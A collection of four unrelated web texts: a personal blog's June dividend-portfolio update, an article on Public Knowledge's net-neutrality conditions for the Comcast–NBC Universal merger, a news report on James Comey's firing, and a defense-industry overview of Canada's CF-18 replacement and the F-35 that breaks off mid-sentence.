-Summary  $328.00 in dividends  Added $1,400 to dividend portfolio  It’s been a great month for my dividend portfolio as I have added $1,400 to the investment account and received $328.00 in dividend payments for the month of June. This is a staggering amount and it’s the first time I can realize the power of dividend income and it’s ability to truly help someone live the passive income lifestyle. While I’m far off from achieving that goal it’s enough to keep the dream alive.  Account Deposits  I had some unexpected purchases this month so I was unable to put a large amount into my account like I did last month. That didn’t stop me from adding $1,400 this month though.  I automatically pull out $200 per paycheck with automatic deposit and at the end of the month, I throw whatever is left into the account. This time it happened to be a spare $1k.  $200 + $200 + $1000 = $1400  Dividend Payouts  This has been an amazing month for my dividend producing portfolio. Twenty three companies paid me a piece of their profits just for holding a few shares of their stock.  There was one surprise this month:  NGG – They paid out a special dividend of $5.42/share this month that somehow got past my radar. They are a European based company so their dividend fluctuates quite a bit. They have their normal dividend coming in August as well. Their current yield is 10% with a PE ratio of just over 13.  The rest of my dividends are broken down as follows:  PSX $11.20 SBSI $11.20 PFE $5.12 F $11.40 BA $4.26 V $1.65 SO $12.76 NGG $54.22 XOM $6.93 TGT $12.00 IBM $9.00 SDIV $12.17 CVX $4.32 JNJ $8.40 MAIN $0.93 DUK $25.65 QCOM $18.24 FLO $25.50 MAIN $1.38 GILD $10.40 TROW $26.22 ARCC $38.00 CLDT $17.05  Monthly Total: $328.00  Stock Purchases  I didn’t buy a whole lot this month but I did manage to add to a few positions on some dips.  2 shares of CVX @ $103.15  CVX is still trying to recover from the spike up it had at the beginning of the year. While I don’t have a huge position, I have to root for one of my Dogs of the Dow stocks.  5 shares of XOM @ $79.45  XOM is in pretty much the same boat as CVX but not as severe. I added a few more shares regardless. The yield sits around 3.3% currently.  5 shares of T @ $38.90  T has grown in my portfolio 8% already and continues to provide a 4.5% yield on top of that. I don’t mind adding a few shares to the pot.  5 shares of VZ @ $46.55  VZ has been hit hard recently and it’s currently 10% down in my portfolio. It’s currently sporting over a 4% yield and is near its 52-week low. I might potentially be adding more to this position in the future to average down even more.  15 shares of TGT @ $49.80  10 shares of TGT @ $55.55  The recent sentiment for TGT continues to drive the price of this Dividend Champion down towards its 52-week low. It’s rebounded slightly but it’s still about 6% in the red overall in my portfolio.  They also just recently announced a 3.3% dividend increase which, while good, appears very low compared to their 1/3/5/10 year dividend growth rate. I hope whatever issues they continue to have can be rectified so that this dividend champion can continue to bring great returns for their investors.  Stock Sells  Nope. Nada. Zilch.  Conclusion  I wish every month can be as amazing as June. How did everybody else fare? Leave a comment. Thanks and until next time!
-The deadline for comments to the Federal Communications Commission on the proposed merger of Comcast and NBC Universal has passed. There are a slew of Web form statements against the marriage and a large number of short letters in favor. Many of the latter come from local politicians or groups like The Boys and Girls Club of Cape Cod and Little Angels of Elgin, Illinois, beneficiaries of Comcast or NBC philanthropy.  But you've got to give credit to the Public Knowledge group for slipping one of their favorite subjects into the debate. The organization says that it doesn't like the merger, but can see it moving forward under various conditions... like network neutrality.  The Commission must impose strict non-discrimination rules that prevent the [new] entity from interfering with the distribution of non-affiliated content through filtering, blocking, or degrading distribution. The growth of Internet distributed content should not be stifled simply because the newly formed entity would prefer consumers continue paying for its MVPD [multi-channel video program distribution] service.  That's right. PK says the union can go forward as long as Comcast agrees to the very net neutrality rules it got a Federal appeals court to overturn back in April.  De-prioritizing  The big antitrust question that everyone's asking is how much of the pay TV market this merger will gobble up—that is, how big of a horizontal deal are we talking about here. But a huge broadcasting network combining with a cable company represents a vertical merger as well. And that's what has PK worried.  "Comcast's ability to control users' access to content means that it can unfairly discriminate against non-NBCU content," PK warns, "either by refusing to connect users to the online video content of established competitors, or, more likely, simply de-prioritizing or throttling the bandwidth available to these competitors versus NBCU content."  But the group doesn't just want "strict non-discrimination rules" attached to the new entity. The government should also require it to provide wholesale broadband access to unaffiliated Internet Service Providers. In other words, line-sharing, which cable companies have never been required to offer.  "Allowing unaffiliated ISPs to access the last mile networks of the newly merged entity and compete for Internet customers would impose a valuable check on any anticompetitive impulses," the filing notes.  Public Knowledge wants the FCC to reverse its famous Cable Modem Order of 2002, which let the big cable ISPs off the hook with wholesale access to competing ISPs. That ruling defined cable Internet as an "information" rather than a "telecommunications" service. The Supreme Court eventually approved the move in its 2005 Brand X decision.  Anyway, what the heck—no harm in asking, right? The FCC did impose net neutrality conditions on the AT&T/Bell South merger of late 2006. And the agency is now reconsidering that 2002 Cable Modem Order, of course, in its new "Third Way" net neutrality proceeding.  As for the future of this deal, the Congressional Research Service seems to think it will be approved; before it does, both the FCC and the Department of Justice have to weigh in on the proposal.
-James Comey, director of the Federal Bureau of Investigation, has been fired by Donald Trump. Credit:Bloomberg "It is essential that we find new leadership for the FBI that restores public trust and confidence in its vital law enforcement mission." In a separate letter released at the White House, spokesman Sean Spicer said that the President informed the director that he has been "terminated and removed from office". "The President has accepted the recommendation of the Attorney-General and the deputy Attorney-General regarding the dismissal of the director of the Federal Bureau of Investigation," Spicer told reporters in the briefing room. The FBI is one of our nation's most cherished and respected institutions and today will mark a new beginning for our crown jewel of law enforcement," Trump said in the statement.  FBI director James Comey speaks during a Senate Judiciary Committee hearing in Washington, DC, in June. Credit:Bloomberg Officials at the FBI said they were not immediately aware of Comey's dismissal. Memos released by the White House show that Rod Rosenstein, the newly sworn-in deputy Attorney-General, recommended Comey be fired over how he disclosed the investigation into Clinton. President Donald Trump has sacked FBI boss James Comey. Credit:AP On October 28, less than two weeks before Election Day, Comey notified Congress that new Clinton-related emails had been found on a laptop belonging to disgraced congressman Anthony Weiner, the estranged husband of Clinton aide Huma Abedin.  Days later, investigators obtained a search warrant to examine about 3000 messages on the device that were work-related. Hillary Clinton's emails found on a computer belonging to the husband of her senior aide Huma Abedin derailed Mrs Clinton's presidential campaign. Credit:AP Of those, Comey said, agents found a dozen that contained classified information, but they were messages investigators had already seen. Comey broke with long-standing tradition and policies by discussing the case and chastising the Democratic presidential nominee's "careless" handling of classified information. Then, in the campaign's final days, Comey announced that the FBI was reopening the case, a move that earned him widespread criticism from Democrats - including Clinton - who say it was a major factor that contributed to her presidential election defeat to Trump in November.  Democratic Senator Ron Wyden, a member of the Senate Intelligence Committee, said in a post on Twitter that Comey "should be immediately called to testify in an open hearing about the status of Russia/Trump investigation at the time he was fired". Comey misstated key findings: FBI Earlier in the day, the FBI notified Congress that Comey misstated key findings involving the Clinton email investigation during testimony last week, saying that only a "small number" of emails had been forwarded to Weiner, not the "hundreds and thousands" he had claimed in his testimony. The letter was sent to the Senate Judiciary Committee on Tuesday, more than a week after Comey testified for hours in defence of his handling of the Clinton probe. "This letter is intended to supplement that testimony to ensure that the committee has the full context of what was reviewed and found on the laptop," FBI assistant director Gregory Brower wrote.​  In defending the probe at last week's hearing, Comey offered seemingly new details to underscore the seriousness of the situation FBI agents faced last year when they discovered thousands of emails from Abedin on Weiner's computer. "Somehow, her emails were being forwarded to Anthony Weiner, including classified information," Comey said, adding later, "His then-spouse Huma Abedin appears to have had a regular practice of forwarding emails to him for him I think to print out for her so she could then deliver them to the secretary of state." At another point in the testimony, Comey said Abedin "forwarded hundreds and thousands of emails, some of which contain classified information". Neither of those statements is accurate, people close to the investigation said. Tuesday's letter from the FBI to Congress said "most of the emails found on Mr Weiner's laptop computer related to the Clinton investigation occurred as a result of a backup of personal electronic devices, with a small number a result of manual forwarding by Ms Abedin to Mr Weiner".  The letter also corrected the impression Comey's testimony had left with some listeners that 12 classified emails were among those forwarded by Abedin to Weiner. "Investigators identified approximately 49,000 emails which were potentially relevant to the investigation," the letter said. "All were reviewed with a particular focus on those containing classified information. Investigators ultimately determined that two email chains containing classified information were manually forwarded to Mr Weiner's account." Ten other emails chains that contained classified information were found on the laptop as a result of backup activity. The letter also clarified some of the figures Comey gave regarding ongoing terrorism probes. The issue of Comey's misstatements was first reported by ProPublica.  At the hearing, the statements about Abedin's email practices were immediately seized on by Republican Senator Ted Cruz and others, who demanded to know why Abedin wasn't charged with a crime. Comey said it was difficult finding evidence those involved in Clinton's use of private email knowingly engaged in wrongdoing, and that traditionally the Justice Department has not prosecuted such cases without some indicator of intent. Comey's incorrect comments about Abedin surfaced again this week at a different Senate hearing, when Cruz pressed former director of national intelligence James Clapper jnr to say how he would handle an employee who "forwarded hundreds or even thousands of emails to a non-government individual, their spouse, on a non-government computer". Clapper said such conduct "raises all kinds of potential security concerns". At the hearing last week, Comey said it made him "mildly nauseous" to think his decisions might have affected the outcome of the presidential election, but insisting that he had no regrets and would not have handled it differently. Comey's public comments about the Clinton case have been a source of public debate since he first announced last July that he would not recommend charges against anyone in connection with her use of a private server for government business.  At the time, he called the use of the server "extremely careless" but said it did not rise to the level of a crime. The misstatements in testimony aren't the first time Comey has overstated a key fact in a high-profile probe. A year ago, while speaking at a security forum in London, he miscalculated the price the FBI had paid for a technique to crack into a locked iPhone belonging to one of the dead suspects in a terrorist attack in San Bernardino, California. At the event, he said the cost of the phone hacking tool was "more than I will make in the remainder of this job, which is seven years and four months, for sure". Based on Comey's salary, his comment strongly implied the bureau paid at least $US1.3 million to get into the phone, which belonged to Syed Rizwan Farook. Farook and his wife killed 14 people during a December 2015 terrorist attack.  People close to that case said the FBI actually paid about $US900,000. A long-time prosecutor who served as the deputy attorney general during the George W. Bush administration, Comey came into office with widespread bipartisan support. Comey sacked to shut down probe: Beazley ​Former ambassador to the US Kim Beazley believes Trump sacked Comey to shut down the investigation into his campaign's links with Russia. The former federal opposition leader, who served as ambassador from 2010 to 2016, told a post-budget breakfast in Brisbane he was not surprised by the move.  "Certainly the inquiry the FBI is currently conducting into the relationship of Trump's campaign team, maybe Trump himself, and the Russians is such that it may have reached the point where somebody would want to be able to appoint an FBI director to suppress the investigation," Beazley said on Wednesday.​ The Washington Post, The New York Times, AAP
-CF-18, 20-year colors  (click to view full) Canada’s 138 “CF-18s” were delivered between 1982-1988, but accidents and retirements have reduced the fleet to about 103, with only 79 upgraded F/A-18 AM/BM Hornets still operational. The CF-18s are expected to be phased out between 2017 – 2023. Maintenance and upgrades will remain necessary until then, and possibly beyond. Canada has been an active Tier 3 partner in the F-35 Joint Strike Fighter program, participating in both the Concept Demonstration Phase ($10 million) and the System Development and Demonstration Phase ($150 million). This USD $160 million has included funding from both the Department of National Defence, and from Technology Partnerships Canada (TPC). In the Production, Sustainment and Follow-on Development Phase of the F-35 program, it is estimated that Canada’s contribution will exceed C$ 550 million (about the same in USD) over 44 years. As of September 2011, the government had disbursed about C$ 335 million toward participation in the JSF Program, and related support to Canadian industry. Now, 65 new CF-35As are Canada’s official choice to replace its Hornets – and estimates of the cost range from $17 billion to $45.8 billion. This article covers efforts to keep existing CF-18s fit for service, as well as Canada’s replacement fighter buy. As timelines continue to slip, these 2 programs have become more interdependent – and the F-35’s selection less certain.  Advertisement  Canada and the F-35  Timelines: The F-35’s, and Canada’s  Here’s the timeline as it has unfolded so far, along with Canada’s plans out to 2050. The timeline will change, but it’s unlikely to move F-35 fielding up to an earlier date. That’s a problem, because the CF-18s have a limited number of hours for safe flight, and they will reach those limits soon. Any delays to the F-35s will either raise costs again by forcing a major refurbishment of Canada’s CF-18s, or leave Canada with serious gaps in its fighter fleet.  (click to view full)  From Canada’s OAG, 2012  (click to view full)  F-35: Canadian Industrial Partners  The F-35 has been designed on 3 levels: operational, industrial, and political. The tiered partnership model created initial commitments by member governments, and a sub-contracting model that spread industrial benefits among committed partners was designed to create constituencies that would lobby for the F-35’s selection and production.  That approach has generally worked. It isn’t a coincidence that these industrial benefits have been the main defense used by Canadian governments whenever the F-35 purchase has been questioned, even though any other winner would also have to commit to a similar sort of arrangement. Existing recipients of public money will always fight harder, because the beneficiaries of any switch are only potential winners, who haven’t made big commitments that would be painful to undo. This political engineering approach saved the Dutch F-35 buy in the face of determined political opposition, even though the plane’s cost is forcing them to cut their planned fighter fleet by almost 2/3. Canada seems headed for a similar fate, and their industrial participants include:  According to the government’s Industry Canada, contracts as of summer 2013 totaled C$ 503 million, while total future contracts are estimated at C$ 9.429 billion: C$ 8.261 billion if existing contracts are extended over the scheduled number of fighters, plus another C$ 1.168 billion in identified production & service opportunities.  Given the sharp order cuts we’re seeing in even Tier 2 partners like Britain and the Netherlands, and the USA’s long-term fiscal situation, Lockheed Martin might be lucky to produce half of the expected number of F-35s. Lockheed Martin would argue that one can only publish official figures using official estimates, and they’d have a point, but an honest debate can’t be blind to reality. This is a dilemma for all F-35 partners, and it needs to be kept in mind when reading estimates of the program’s long-term industrial value.  A Word on Stealth  The Stealthy Mosquito  F-35A & F-22A  (click to view full)  Military discussion in Canada has been almost non-existent, beyond hand-waving and the grossest generalizations. The strategic requirements for new fighters, and whether the choices available can do those jobs at acceptable cost, doesn’t much concern Canada’s governing class. Such references as have been made generally revolve around the need for stealth, without explaining the concept.  The thing to remember is that stealth isn’t invisibility, just a shorter detection distance. To use a very simplified and very Canadian analogy, a mosquito will have to be a lot closer to you before you’ll see it, compared to a sparrow. Hence all those “surprise” bites, as they exploit the gaps in your perception and get in close enough to strike. They aren’t invisible, though you might swear otherwise at times. On the other hand, if you use other parts of the spectrum by employing your ears, even a tiny mosquito can be detected at uncomfortably long distances in a quiet room.  That’s just the beginning of your problem, of course. Awareness must be followed by pinpointing and tracking its location, and then it must come within your killing range.  It’s basically the same sequence for enemy systems. A fighter can survive by defeating any one link in the detection – tracking – reach – kill chain. Stealth complicates all 3 areas, shortening detection ranges, making tracking more difficult, and frustrating or weakening final stage radar guided missile locks.  Other manufacturers are correct when they respond that modern jets without the stealth marketing have much better radar cross sections that Canada’s existing CF-18s. Even so, the CF-35’s stealth will be a step beyond other fighters on offer to Canada, albeit a step below the USAF’s F-22A Raptors and F-35s. The thing is, modern fighters, missiles, and radars have been making their own parallel improvements over the last decade. To the point where even the F-35’s ability to prevail against high-end enemy air defense systems, and against fighters fielded after 2030, is a matter of controversy.  Design Choices: America vs. Europe  Eurofighter & Meteor  (click to view full)  The Americans had better hope that stealth continues to work in practice. They’ve placed their entire future fighter bet on stealth, and are paying the accompanying financial and operational costs.  The Europeans, in contrast, looked askance at the added construction and maintenance costs of stealth, and at the huge expense of aerodynamic changes once a stealth design is set. They opted instead for radar cross-section reduction that stopped short of full stealth, plus high kinematic performance. Advanced electronic warfare and defensive systems integrated into the planes, non-standard sensors like Infra-Red Search & Track, and long-reach weapons like the Meteor air-to-air missile and stealthy cruise missiles, would all improve protection in other ways.  Who is right?  The answer to this question is very consequential to Canada, but it’s hard to say at this point, because the respective approaches haven’t been fully tested against top-end enemy systems. American stealth worked very well against Iraq, twice. Modern European fighters were more than sufficient over Libya in 2011, however; and the stealthless Israelis sliced through dense Syrian air defenses in 2007, using planning, jammming, and well-chosen weapons to destroy a nuclear reactor.  If stealth remains fully or mostly relevant, even as a matter of faith rather than proof, Europe’s high-end jets will be unable to compete with American stealth fighters. Worse, the F-35’s full-rate production costs beyond 2020 would make it lethal in export competitions.  On the other hand, if jamming keeps pace, or if stealth’s advantages can be beaten or watered down, the European approach can create cheaper planes with better aerodynamic performance.  Changing the Game?  PIRATE IRST:  B-2, ICU  (click to view full)  Right now, modern ground radars are lengthening the ranges at which stealth aircraft can be detected, and AESA fighter radars are getting better. Those trends will continue, but neither will invalidate stealth on its own. With that said, there are at least 2 key technologies that could significantly change stealth design’s cost:benefit ratio.  Infrared Search & Track (IRST) systems on planes like the Eurofighter and Rafale, on the F-35 itself, and on most Russian-designed fighters, already offers a potential alternative to radar in aerial engagements. The B-2 picture above was taken by a Eurofighter’s PIRATE IRST system, and used in a presentation to the Norwegian government. The mechanics of fuel circulation in the F-35 are intended to make heat-based lock-ons harder to achieve, and there are pilot-activated additives that can even frustrate locks from tailpipe exhaust, but processors will continue to improve, and so will infrared detection arrays. IRST will remain a potent and improving solution for detection and location, and the mere friction of an airplane cutting through the atmosphere at high speed is very hard to hide completely.  The greatest long-term threat to stealth is probably a combination of “passive” radars that collect input from wider slices of the spectrum. They’d need to be paired with ever-expanding processing power that can separate anomalies from the clutter by collating multiple input types, and with networked analysis that collates multiple sensor systems. Early research and tests have begun in this area, courtesy of firms like Saab and EADS.  Canada’s Choice  Does Canada Have a Plan B?  Canadian Parliament  (click to view larger)  At present, it does not. One could even say that it took until 2013 for the government to offer a Plan A.  There’s an argument that Canada has no strategic need for a fighter in the F-35’s class, and might be better off spending the same amount of money on the same number of cheaper 4+ generation fighters, plus assets like MQ-9 UAVs that would deploy abroad with its troops, maritime patrol aircraft to improve surveillance, etc. To date, however, Canada’s military, governments, and media have all diligently avoided a strategic discussion that could separate, evaluate, and prioritize spending options. Instead, the debate has revolved around economic concerns, and the military’s wants.  A rigid and secretive procurement system has only exacerbated these tendencies. In the wake of the 20+ year rolling fiasco of its Maritime Helicopter Program competition, multi-billion dollar, single-source buys have characterized almost all Canadian defense procurements over the last 5-7 years. Canada’s choice of the F-35 has been no different, and the only real debate has taken place in the realm of federal elected politics. Opposition critics have cited significant cost uncertainties for the F-35, the shift toward UAVs, and the availability of cheaper aircraft on the global market as reasons to avoid a sole-source purchase. In its place, they’ve alternated between favoring an open fighter competition with public criteria, and making noises about avoiding a fighter buy altogether.  A 2011 election seemed likely to decide the issue, and the F-35 became a campaign topic. The results were indeed decisive, as the governing Conservative Party finally won its long-sought majority.  F-35A: open doors  (click to view full)  That result left the F-35 with a number of elements in its favor.  One is the structure of the Canadian Parliamentary system, in which a majority government has no meaningful checks and balances. If the current majority Conservative Party government wants a plane, it can force the sale through, easily. The Conservatives in particular will bear little political cost for doing so, because they have become the only party in the country with serious security credentials. The national security constituency largely lives within that party, and will be happy that something is being done after decades of neglect. The rest of the population isn’t overly interested. The Liberal Party found this out to their sorrow when they tried to make the F-35 an election issue in 2011, and watched the attempt fizzle. They had a solid case, but the messenger had no credibility with people who were interested in the issue.  Another point in the F-35’s favor is its industrial program. It’s working as intended, by creating industrial constituencies with a strong interest in keeping the purchase. The power of that constituency is partly offset by the fact that Boeing, Canada’s largest aerospace player, is on the other side of the dispute. But only partly. Organizations billing actual dollars will always fight harder that those who might benefit at some future date. Which is why the F-35’s industrial benefits are the current focus of the government’s F-35 defense.  A third point in the Lightning’s favor is the commitment of senior DND members, who have gone public with a very absolute commitment. Never mind the fact that this commitment seems to mask some shoddy work underneath. In that circumstance, there’s little alternative to a no-compromise stonewall defense, until and unless senior leadership at DND changes.  Average flyaway cost estimates  (click to view full)  Barring a reversal in the next elections, therefore, only a large external shock can change Canada’s commitment to the F-35A. The F-35 program is busy providing that, as costs continue to rise, and major partner countries like the USA, Britain and Italy move to delay or cut their buys. Those moves will keep the plane at lower rates of production for a longer period of time, which makes each plane more expensive.  Unfortunately, Canada wants to begin replacing its CF-18s by 2017 – 2018. Which means that it needs to place an initial order by 2014 – 2015. The net effect is a fighter whose purchase costs are uncertain, but are clearly set to stay very high in the near term. Worse, at the time of purchase, the operating and maintenance outlays that comprise 2/3 of total lifecycle costs will be extremely vague.  The Harper government’s response has been to insist that the procurement budget is C$ 9 billion, period, and higher prices will just mean fewer planes bought. At some point, however, a low enough number of planes bought makes it impossible for them to cover their assigned missions. Canada’s air force is already close to that margin in asking for just 65 aircraft, in order to cover the 2nd largest country in the world and participate in international missions.  Politically, a “wait and see” strategy makes a lot of sense under these circumstances. Which is exactly what we’re seeing. Statements by ministers like Julian Fantino telegraphed that approach, without changing Canada’s underlying commitment. Perhaps some sort of “group buy” approach by the partners will bring purchase costs down, or program news may improve. If so, the purchase goes forward easily.  If the math continues to look grim, on the other hand, the difficult decisions can always be made later. The government’s shift of program leadership to the Public Works ministry, following a scathing 2012 auditor’s report, makes backtracking easier. The 1st real indication of cracks in the facade didn’t come until November 2012, when the government backed away from DND’s original tailored-for-F-35 fighter requirements. Would it matter?  What If… Potential Competitors  EA-18G & F/A-18F  (click to view full)  The F-35 offers Canada the best stealth, the most advanced array of on-board sensors, and the best “user interface” for presenting all that information to its pilots. Strategy has been absent from all Canadian discussions, so if Canada is forced away from its commitment to the F-35, it’s going to be a decision driven by costs. Handicapping for any prospective replacement needs to reflect that.  The strongest competitor would be Boeing, with its twin-engine F/A-18E/F Super Hornet family. Its F-15E Strike Eagle family is arguably a far better fit for Canada’s military needs, but the Super Hornet is significantly cheaper at about USD$ 60 million flyaway cost, and offers perceived continuity with the existing CF-18 fleet. A Super Hornet buy also offers long-term commonality with the US Navy, ensuring that upgrades and improvements will be financed outside of Canada.  Australia also flies the Super Hornet, and a 3rd option would be for Canada to take a leaf from their playbook, buying a mix of Super Hornets and F-35As or some other fighter. Australia’s response to delays in the JSF program started in 2007 with an order for 24 F/A-18F Super Hornets. That order was modified to include 12 F/A-18Fs wired for conversion to EA-18G Growler electronic attack aircraft, then changed to include 12 fully equipped Growlers, and finally increased to 36 aircraft: 24 F/A-18F – now in service – plus 12 E/A-18G to be delivered before end-2017. The Growler capability is unique to the Super Hornet platform, and it will always be in demand among international coalition partners. Fortunately, Canada is one of just 3-4 countries that could get EA-18G export clearance from the USA.  Eurofighter  (click to view full)  Canada’s large and remote territories have traditionally pushed their air force toward twin-engine fighters, and the Europeans offer a pair of advanced options. Of the two, EADS/BAE’s Eurofighter Typhoon has far better odds, because it’s compatible with the American weapons that Canada’s air force currently stockpiles, and is used by a number of NATO countries who will help to modernize it over time. The cockpit’s sensor fusion and voice commands got high marks from Canadian evaluators, and Libyan operations demonstrated their ability to Mach 1.2 supercruise at 40,000 feet with air-to-air weapons mounted. On the industrial front, Eurofighter’s connections with firms like Airbus and Thales offer it a good starting point to fulfill industrial offset requirements.  The Eurofighter’s flip side includes a cost that’s at or above current totals for the F-35A. It also has a very limited set of integrated weapons, with significant gaps in key areas like suppression of enemy air defenses and naval attack. Fortunately for Eurofighter, Canada’s arsenal is pretty basic, but the cost issue won’t go away as easily. Based on sales to date, Eurofighter costs are comfortably above USD$ 100 million. That will make it difficult for them to position themselves as a better deal than Canada’s existing F-35 commitment.  Rafale with MICA  missiles, Reco-NG pod  (click to view full)  Dassault’s Rafale is a capable, combat-proven multi-role plane, but it comes with a number of problems from Canada’s point of view. Industrial presence and offsets may prove to be a challenge for Dassault, and the plane has no confirmed export sales yet, despite promising signals from India and the Middle East. Unless that promise turns into orders by the time Canada needs to make a decision, long-term modernization costs must also be a serious concern for the Rafale.  Then, there’s the question of absolute purchase cost. The Rafale was judged to be slightly cheaper than the Eurofighter by India’s evaluators, but it’s still a high-end fighter in the $100 million range. Worse, weapon incompatibilities mean that Canada would need either new stocks of missiles, or an expensive integration program. The combined purchase cost would be unlikely to beat the Eurofighter, let alone the F-35.  JAS-39 Gripen Demo  (click to view full)  Saab’s JAS-39 Gripen could certainly beat the F-35 on price. It’s compatible with Canada’s existing weapons, has the requisite cold-weather pedigree, can be bought for around $60 million, and is built for very low maintenance costs compared to competitors like Eurofighter. It’s a single-engine fighter, like the F-35, but offsets that slightly with an exceptional reliability record in service. Saab’s undeveloped industrial presence in Canada will be a challenge, but using the same GE F414 engine as the Super Hornet helps, and their international record for industrial offset programs is good. The plane is fully NATO-compatible, and earlier model JAS-39C/D Gripens already serve with NATO countries Hungary and the Czech Republic.  The Gripen’s problem is that its JAS-39E/F models won’t be available in numbers until 2023 or so, which is too late for Canada. The Swiss and Brazilians are solving a similar problem by getting leased JAS-39C/D aircraft on very attractive terms, until their more advanced JAS-39Es arrive. Sweden has cut its own active fleet size quite sharply, so there may be enough Gripens in storage to meet Canada’s needs. If not, a life extension program similar to the US Navy’s Hornet SLEP plans could keep 65 CF-18s flying for another 5 years, at a cost of about $1 billion. If the F-35’s schedule continues to slip, that may be necessary anyway.  There are reports that Saab pulled out of the competition in June 2013. Saab’s issue, if it gets an opening, is how to compete with a Super Hornet option whose production volume gives it a similar price, plus twin engines, long-term modernization assurance, local allied and expeditionary commonality, and lobbying from Canada’s biggest aerospace firm?  Contracts and Key Events  2014 – 2018  CF-18 & VVS MiG-29  (click to view full)  February 27/18: Government announces supplier list Canada has named five firms that will be considered to supply fighters to replace its fleet of CF-18s. Three European firms—Dassault, Saab, and Airbus—and two US—Boeing and Lockheed Martin—have all made the official fighter jet supplier list, which allows them to receive information about plans to buy 88 jets and ultimately bid on the program, estimated to cost CA$19 billion (U.S. $15 billion). The aircraft expected to be offered to Ottawa include Lockheed Martin’s F-35, Boeing’s Super Hornet, the Eurofighter Typhoon, the Dassault Rafale and Saab’s Gripen.  February 19/18: Is Boeing back in? Three sources quoted by Reuters have said Boeing has notified the Canadian government that it is interested in bidding for a new contract to supply the Royal Canadian Air Force with 88 new fighters. It was unknown whether the firm—which fell foul with Ottawa last year by launching a trade challenge against Canadian firm Bombardier, accusing it of dumping airliners in the American market—would enter the competition after it avoided an information day on the C$15 billion ($12.1 billion) program earlier this month. However, Boeing did let Canada know it was interested, said the sources, who requested anonymity because they were not authorized to speak to the media. The decision does not mean the firm will necessarily put forward its F-18 Super Hornet. Specifications are expected to be released by Ottawa next year.  February 8/18: Interim Hornets & CF-18 Replacement Second-hand F-18 Hornet fighters being purchased by Canada from Australia will require upgrades to their ejection seats and external lighting, the Edmonton Journal reports. The aircraft will also undergo “preventive aircraft structure modifications to address known fatigue issues” similar to ones already implemented on CF-18s currently in operation with the Royal Canadian Air Force (RCAF). Negotiations between both governments over the sale are still ongoing, so it remains to be seen how much the sale and modifications will cost. Meanwhile, Boeing has until the end of the week if it is to enter Canada’s restarted CF-18 replacement program. If the firm fails to express an interest in taking part in competition by Friday, February 9, it will be excluded from the bidding process. While relationships between Boeing and Ottawa have been frosty since an ugly trade dispute involving Canadian airframer Bombardier last year, billions of dollars of defense procurement orders are at stake at a time when Canada is ramping up military spending over the next decade. Although government officials say the competition will be open, they have privately made it clear that Boeing needs to drop the Bombardier challenge and talk of an appeal to stand a better chance of winning the jet contract, say sources familiar with the matter. Boeing says it supports some 17,000 jobs in Canada.  January 30/18: Industry Day Details Parties interested in replacing the Royal Canadian Air Force’s CF-18 fighter aircraft were told at a recent industry day that the service plans to keep flying the jets until 2032—seven years from its initial replacement date of 2025 and fifty years on from when the first jets entered service. According to federal government documents distributed at the January 22 meeting, the first of 88 planned replacement fighters would not begin deliveries until 2025 and would not be completed until 2030. While Ottawa said upgrades and structural improvements to the CF-18s would keep them in the air until 2025, it remains to be seen whether they will receive additional upgrade work to keep them serviceable and flying for another seven years, or if the capability gap will be filled by a much talked about interim procurement of second-hand F/A-18 Super Hornets from Australia. As much as USD$15.3 billion has been set aside for the replacement program, while Ottawa has earmarked USD$404 million for the interim fighters.  January 25/18: Is Boeing officially out? Boeing seems unlikely to enter a bid in Canada’s CF-18 successor competition, having already missed a one-day information session for potential bidders on 22 January hosted by the Future Fighter Capability acquisition program. The firm was originally a shoe-in to supply its F/A-18E/F Super Hornets as a temporary solution to the ageing CF-18s, after the Liberal Party government of Justin Trudeau vowed to ditch the F-35 during its 2015 election campaign. However, Boeing’s filing of a trade dispute in May 2017 against Canadian airframer Bombardier has subsequently spiralled and put Boeing at odds with the ruling Liberal government. Instead, the Royal Canadian Air Force plans to buy retired F/A-18s from the Royal Australian Air Force as an interim CF-18 replacement while its new successor competition is launched.  December 14/17: News-New Competition A news conference held by the Canadian government on Tuesday made clear that Boeing would not be supplying them with 18 F/A-18 Super Hornets—they will instead buy second-hand from Australia in a deal worth $388 million—and warned the US airframer that it had little chance of winning a much larger contract unless it dropped a trade challenge against Canadian planemaker Bombardier. Ottawa announced last year it wanted to buy the Boeing fighters in order to fill a capability gap while it restarted a competition for 88 jets to replace its aging 77 CF-18s fighters, after it dropped out of procuring the F-35 Joint Strike Fighter. In a clear reference to Boeing, Carla Qualtrough, public works and procurement minister, told the news conference that “bidders responsible for harming Canada’s economic interests will be at a distinct disadvantage” compared to other companies participating in the competition for the 88 jets. Innovation Minister Navdeep Bains added to the Boeing bashing by saying the government wanted a trusted partner—many in the government do not consider Boeing as such—prompting Boeing rival Lockheed Martin to issue a statement describing itself as “a trusted partner”. The saga continues.  December 11/17: Interim Fighter Capability Project Boeing has responded to the Canadian government’s decision to buy second-hand F/A-18 Super Hornet aircraft from Australia instead of new from the manufacturer for its Canadian Interim Fighter Capability Project. A media statement from the company said it respected Ottawa’s decision and applauded the government’s “continued use of a two engine fighter solution, which is a critical part of their northern Arctic border defense, NORAD cooperation, and coast to coast to coast security.” It added that it “will continue to look to find productive ways to work together (with Canada) in the future.”  December 7/17: Interim fighters-Second-hand It has been reported that Canada has scrapped an earlier plan to buy F/A-8 Super Hornets from manufacturer Boeing, and instead will sign next week a deal to buy second-hand models from the Australian government. A previous plan would have seen Canada obtain 18 new Super Hornet fighter jets as part of its interim solution to its CF-18 fleet replacement program, however, Ottawa’s anger at a decision by Boeing to launch a trade challenge against Canadian planemaker Bombardier—which the US giant accuses of dumping airliners on the American market—caused the deal to be cancelled and has likely put future Boeing military sales to Canada in serious doubt. When asked about the second-hand deal, the offices of Public Works Minister Carla Qualtrough and Defence Minister Harjit Sajjan—who share responsibility for Canada’s military procurement—both declined to comment. Boeing, and the Australian mission in Ottawa were also unavailable for comment, however, the Australian Department of Defense did confirm that Canada lodged a formal expression of interest for “a number” of Australia’s F/A-18 Classic Hornets on Sept. 29. Official requirements for a new CF-18 replacement program are expected in early 2019.  November 14/17: Canada will have selected a replacement fighter for its fleet of CF-18s by 2021, Royal Canadian Air Force Lt. Gen. Michael Hood said at this year’s Dubai International Air Chiefs Conference. The official search for the fifth-generation fighter is expected to start in 2019. A new competition for the CF-18’s replacement was called for last summer following a campaign promise from Prime Minister Justin Trudeau’s Liberal party to step away from the controversial procurement of Lockheed Martin’s F-35 Joint Strike Fighter. While the F-35 is now back on the table as a possible option, attempts to procure the Boeing F/A-18 Super Hornet, even as an interim measure, may be a non-runner due to the US airframer’s commercial dispute with Canadian firm Bombardier. But while new models from Boeing seem unlikely, Ottawa could procure F/A-18A/B Hornets from Australia as Canadian CF-18s run on a similar configuration and began operating within a few years of each other. Canada also owns the intellectual 